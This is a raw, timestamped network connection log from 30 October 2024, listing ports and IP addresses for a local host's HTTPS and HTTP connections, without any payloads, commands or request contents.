Oct 30, 2024 11:45:22.030881882 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.030886889 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.035454035 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.035526991 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.035531998 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.043797016 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.043970108 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.044030905 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.044099092 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.044147015 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.044152975 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.044406891 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.044421911 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.044465065 CET	49768	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.044470072 CET	443	49768	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.049463034 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.049491882 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.049609900 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.049942970 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.049962044 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.087975979 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.088046074 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.088068962 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.139894009 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.139913082 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.143819094 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.143867016 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.143876076 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.151662111 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.151729107 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.151738882 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.152540922 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.152621984 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.152667999 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.152674913 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.152710915 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.167769909 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.175736904 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.175868034 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.175880909 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.204869986 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.205094099 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.205107927 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.249277115 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.261734009 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.261831045 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.261877060 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.261887074 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.268806934 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.269361019 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.269404888 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.269408941 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.269416094 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.269444942 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.284612894 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.284656048 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.284682035 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.284687996 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.285254002 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.289516926 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.289693117 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:22.291062117 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:22.291070938 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.291322947 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.292397976 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:22.321868896 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.321954966 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.321997881 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.322002888 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.329955101 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.330440044 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.330456018 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.330986023 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.330990076 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.335330009 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.339494944 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.339998960 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.340008974 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.340511084 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.340529919 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.374840975 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.377886057 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.385586977 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.385643005 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.385659933 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.386363029 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.386413097 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.386418104 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.401767969 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.401833057 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.401851892 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.427691936 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.427942038 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.427972078 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.428344965 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.428405046 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.429066896 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.429119110 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.430162907 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.430227041 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.430344105 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.430355072 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.430370092 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.439884901 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.439976931 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.440012932 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.440129995 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.440176964 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.440184116 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.440293074 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.440332890 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.440336943 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.470367908 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.470535040 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.470597982 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.470729113 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.470729113 CET	49775	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.470742941 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.470752001 CET	443	49775	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.471340895 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.473460913 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.473501921 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.473561049 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.473707914 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.473716974 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.480870008 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.481043100 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.481142044 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.481142044 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.481142044 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.483501911 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.483521938 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.483580112 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.483727932 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.483740091 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.484184980 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.484190941 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.484230042 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.487793922 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.488147020 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.488174915 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.488809109 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.488814116 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.495217085 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.495276928 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.495286942 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.502582073 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.502636909 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.502643108 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.503298044 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.503351927 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.503356934 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.503664970 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.503720999 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.503818035 CET	49761	443	192.168.2.6	142.250.186.174
Oct 30, 2024 11:45:22.503829956 CET	443	49761	142.250.186.174	192.168.2.6
Oct 30, 2024 11:45:22.542268038 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.542351007 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.542407036 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:22.545222044 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:22.545222044 CET	49773	443	192.168.2.6	184.28.90.27
Oct 30, 2024 11:45:22.545237064 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.545245886 CET	443	49773	184.28.90.27	192.168.2.6
Oct 30, 2024 11:45:22.632381916 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.632608891 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.632658958 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.632776976 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.632793903 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.632807970 CET	49777	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.632813931 CET	443	49777	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.636449099 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.636487007 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.636557102 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.636888981 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.636900902 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.715080023 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.765199900 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.765208006 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.766427040 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.766499996 CET	443	49774	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:22.766546965 CET	49774	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:22.778085947 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.778498888 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.778536081 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.779081106 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.779088974 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.796458960 CET	49776	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.796472073 CET	443	49776	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.809709072 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.810101986 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.810127974 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.810590029 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.810601950 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.919929028 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.920211077 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.920265913 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.920566082 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.920583963 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.920594931 CET	49779	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.920599937 CET	443	49779	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.926707029 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.926733017 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.926806927 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.926943064 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.926950932 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.950618029 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.950804949 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.950862885 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.950934887 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.950934887 CET	49780	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.950947046 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.950954914 CET	443	49780	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.953511953 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.953551054 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:22.953613997 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.953794003 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:22.953807116 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.226018906 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.226674080 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.226680994 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.227538109 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.227543116 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.255911112 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.256454945 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.256470919 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.256941080 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.256947041 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.409507036 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.409751892 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.409930944 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.410052061 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.410052061 CET	49782	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.410065889 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.410074949 CET	443	49782	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.413315058 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.413351059 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.415524960 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.415594101 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.415654898 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.415688992 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.415697098 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.415903091 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.416080952 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.416080952 CET	49781	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.416100979 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.416112900 CET	443	49781	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.418184042 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.418215036 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.418654919 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.419320107 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.419331074 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.425781012 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.426147938 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.426170111 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.428234100 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.428248882 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.457375050 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:23.457840919 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:23.462742090 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:23.463150024 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:23.463344097 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:23.463344097 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:23.463502884 CET	49790	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:23.469775915 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:23.470359087 CET	80	49790	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:23.566263914 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.566333055 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.566499949 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.568325043 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.568325043 CET	49783	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.568342924 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.568353891 CET	443	49783	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.572015047 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.572055101 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.572179079 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.572485924 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.572496891 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.682202101 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.694870949 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.694870949 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.694880962 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.694892883 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.706459045 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.707000971 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.707015991 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.710267067 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.710270882 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.828497887 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.828552008 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.830383062 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.831705093 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.831705093 CET	49785	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.831722021 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.831731081 CET	443	49785	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.834774017 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.834799051 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.835052013 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.835203886 CET	49792	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.835212946 CET	443	49792	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.847143888 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.847383976 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.847541094 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.847541094 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.847621918 CET	49786	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.847629070 CET	443	49786	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.849922895 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.849941015 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.850061893 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.850155115 CET	49793	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:23.850167036 CET	443	49793	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:23.939948082 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:23.939973116 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:23.940474033 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:23.940474033 CET	49794	443	192.168.2.6	142.250.186.78
Oct 30, 2024 11:45:23.940498114 CET	443	49794	142.250.186.78	192.168.2.6
Oct 30, 2024 11:45:24.172508955 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.176002026 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.176018000 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.177726984 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.177732944 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.185425997 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.240483999 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.264419079 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.264419079 CET	49788	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.264434099 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.264448881 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.311296940 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.311434031 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.311496019 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.313149929 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.313169003 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.313182116 CET	49787	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.313188076 CET	443	49787	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.318159103 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.340049028 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.340079069 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.347430944 CET	49791	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:24.347457886 CET	443	49791	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.399923086 CET	443	49788	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:24.400017977 CET	443	49788	13.107.253.45	192.168.2.6
